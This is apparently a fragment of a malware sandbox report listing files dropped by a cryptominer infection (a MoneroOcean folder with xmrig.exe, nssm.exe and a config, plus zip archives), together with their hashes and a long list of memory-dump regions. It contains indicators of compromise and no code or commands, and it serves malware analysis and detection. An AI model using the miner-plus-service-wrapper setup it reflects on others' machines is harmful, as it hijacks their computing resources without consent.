SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
C:\Users\Admin\moneroocean\config.jsonFilesize
2KB
MD5725d38d9eeadc9c2691063936b01f9ec
SHA1153fd5bd55cfd845516562291a7ab867d68145b5
SHA2560df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43
SHA512fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658
-
C:\Users\Admin\moneroocean\nssm.exeFilesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
C:\Users\Admin\moneroocean\xmrig.exeFilesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
C:\Users\Admin\nssm.zipFilesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
C:\Users\Admin\xmrig.zipFilesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e
-
memory/1448-63-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/1448-62-0x0000000001290000-0x00000000012B0000-memory.dmpFilesize
128KB
-
memory/4184-0-0x00007FFF0BDD3000-0x00007FFF0BDD5000-memory.dmpFilesize
8KB
-
memory/4184-12-0x00007FFF0BDD0000-0x00007FFF0C892000-memory.dmpFilesize
10.8MB
-
memory/4184-11-0x00007FFF0BDD0000-0x00007FFF0C892000-memory.dmpFilesize
10.8MB
-
memory/4184-10-0x00007FFF0BDD0000-0x00007FFF0C892000-memory.dmpFilesize
10.8MB
-
memory/4184-9-0x0000019EB64B0000-0x0000019EB64D2000-memory.dmpFilesize
136KB
-
memory/4184-188-0x00007FFF0BDD0000-0x00007FFF0C892000-memory.dmpFilesize
10.8MB
-
memory/4776-201-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-218-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-189-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-190-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-191-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-192-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-193-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-194-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-195-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-196-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-197-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-198-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-199-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-200-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-250-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-202-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-203-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-204-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-205-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-206-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-207-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-208-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-209-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-210-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-211-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-212-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-213-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-214-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-215-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-216-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-217-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-249-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-219-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-220-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-222-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-223-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-224-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-225-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-226-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-227-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-228-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-229-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-230-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-231-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-232-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-233-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-234-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-235-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-236-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-237-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-238-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-239-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-240-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-241-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-242-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-243-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-244-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-245-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-246-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-247-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/4776-248-0x0000000000400000-0x000000000102B000-memory.dmpFilesize
12.2MB
-
memory/5020-38-0x000001D7E5370000-0x000001D7E5382000-memory.dmpFilesize
72KB
-
memory/5020-37-0x000001D7E5340000-0x000001D7E534A000-memory.dmpFilesize
40KB